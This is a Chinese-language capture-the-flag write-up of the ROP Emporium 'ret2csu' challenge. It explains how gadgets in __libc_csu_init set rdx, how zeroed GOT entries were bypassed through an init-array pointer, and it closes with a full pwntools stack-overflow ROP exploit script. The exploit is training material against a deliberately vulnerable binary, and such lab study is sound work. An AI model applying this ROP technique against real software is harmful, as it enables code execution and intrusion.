做ROP Emporium
的ret2csu
陷入僵局的时候
想找wp的时候发现网上没有任何wp(可能是新题吧)
题目很简单就跟之前的题目一样有一个有问题的函数 pwnme
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("ret2csu by ROP Emporium\n");
pwnme();
return 0;
}
pwnme
void **pwnme()
{
void **result; // rax
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Call ret2win()");
puts("The third argument (rdx) must be 0xdeadcafebabebeef");
puts(&byte_400924);
printf("> ", 0LL);
off_601018 = 0LL;
off_601028 = 0LL;
off_601030 = 0LL;
fgets(&s, 0xB0, stdin);
result = &off_601038;
off_601038 = 0LL;
return result;
}
还有一个后门函数
ret2win
int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
char command[8]; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int16 v6; // [rsp+20h] [rbp-10h]
__int64 *v7; // [rsp+28h] [rbp-8h]
v5 = 0xD5BED0DDDFD28920LL;
v6 = 170;
*(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
v7 = (__int64 *)((char *)&v5 + 1);
*(__int64 *)((char *)&v5 + 1) ^= a3;
return system(command);
}
可以看到ret2win
需要三个参数
a1和a2是没关系的但是a3必须是0xdeadcafebabebeef
找一下可以用的gadget
发现并没有可以用的gadget
能pop rdx
或者 mov rdx
上网找一下ret2csu
是啥
通过搜索发现这是blackhat
2018年的议题
通过一个万用的gadget
来制造rop
打开_libc_csu_init
函数的汇编可以看到
rdx的值是r15给的
然后下面正好有一个pop r15
就有一个完整的rop链先到0x400896
在从头跑一遍给rdx
赋值
中间有一个rbp和rbx的比较上面有一个rbx+1
所以只要将rbp赋值为1就可以向下走了
最关键的地方就是call qword ptr [r12+rbx*8]
这里要怎么绕过首先r12和rbx的值都是可控的所以这个地址是可控的
然后因为要解引用首先想到的是got表的地址他指向的是libc里面的地址就可以调用了
第一次改的时候发现失败了,gdb一直告诉我是个无效地址而且为0
查看一下got表
发现居然真的是0
got表为0应该是不可能的
在pwnme发现有这些指令原来是特意不让调用got表的
不过有个漏网之鱼setvbuf
在调用的时候发现他会将rdx的值赋值为0xffffffff
这样的话就不能成功调用ret2win
函数了
陷入僵局的时候开始在ida里面找地址然后tel一下看看
意外的发现了
这些可以用的地址
然后将r12的地址换成其中一个初始化用的函数地址0x0600E10
成功拿到flag
脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context.arch = 'amd64'
local = 1
if local:
cn = process('./ret2csu')
# bin = ELF('./task_shoppingCart',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
init_add = 0x0600E10
rop1_add = 0x0400896 #add rsp, 8 ; pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2_add = 0x0400880 #mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12+rbx*8]
# z('b*0x04006E2\nc')
win_add = 0x04007B1
cn.recvuntil('beef')
payload = 'A'*0x20
payload += p64(0) # rbp
payload += p64(rop1_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init_add) #r12
payload += p64(0x0601060) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop2_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(win_add) #ret
cn.sendline(payload)
cn.interactive()